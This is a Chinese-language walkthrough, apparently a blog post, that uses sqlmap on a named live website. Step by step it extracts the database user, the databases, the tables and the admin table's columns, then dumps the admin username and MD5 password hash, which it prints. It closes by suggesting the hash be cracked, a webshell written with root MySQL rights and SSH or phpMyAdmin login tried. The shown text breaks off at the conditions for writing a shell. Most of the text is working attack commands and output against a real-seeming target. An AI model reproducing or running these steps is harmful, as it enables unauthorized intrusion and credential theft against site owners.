1.在BT5 R2下[email protected]:/sqlmap# python sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 -f -b --current-user --current-db -v 1 /*獲取當前使用者和當前資料庫

　　返回結果 :

　　[02:42:20] [INFO] fetching current user current user: '[email protected]' [02:42:21]

　　[INFO] fetching current database current database: 'wepost'

　　//當前使用者為 root 當前資料庫為 wepost

　　[email protected]:/sqlmap# python sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbs -v 2

　　//獲取所有資料庫 返回結果 : available databases [8]: [*] bb [*] cart [*] information_schema [*] mysql [*] taipotour [*] test [*] wepost [*] wepost2 看結果可以也可以知道 當前存在8個數據庫

　　[email protected]

　　//獲取wepost資料庫(也就是當前資料庫)的所有表名 返回結果 : Database: wepost [6 tables]| admin | | article | | contributor | | idea | | image | | issue |看結果可以也可以知道 存在6個表

　　[email protected]:/pentest/database/sqlmap# python sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --columns -D wepost -T admin -v 2

　　//獲取wepost資料庫裡admin表的欄位 返回結果 : Database: wepost Table: admin [4 columns]|id|int(11)|password|varchar(32)|type|varchar(10)|userid|varchar(20)看結果可以也可以知道 存在4個欄位

　　[email protected]:/sqlmap# python sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dump -D "wepost" -T "admin" -C "userid,password" -s "sqlnmapdb.log" -v -v 2

　　//獲取wepost資料庫裡 admin表裡 userid和password欄位裡面的內容 並將資料儲存下來 /pentest/database/sqlmap/output/www.wepost.com.hk 返回結果 : Database: wepost Table: admin [1 entry]| password | userid | |7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |

　　[03:08:51] [INFO] Table 'wepost.admin' dumped to CSV file '/pentest/database/sqlmap/output/www.wepost.com.hk/dump/wepost/admin.csv'

　　[03:08:51] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.wepost.com.hk'

　　//得到帳號密碼|7d4d7589db8b28e04db0982dd0e92189|wepost2010|破MD5找後臺去吧。。。

　　// mysql既然是root許可權 當然可以試著寫shell或者讀檔案 (一般讀都是讀apache配置檔案找網站路徑 網站配置檔案獲取root密碼嘗試社工直接登入linux的ssh或者登入phpmyadmin登入執行sql語句寫shell 或者讀其他銘感資訊) root許可權寫shell的3個條件：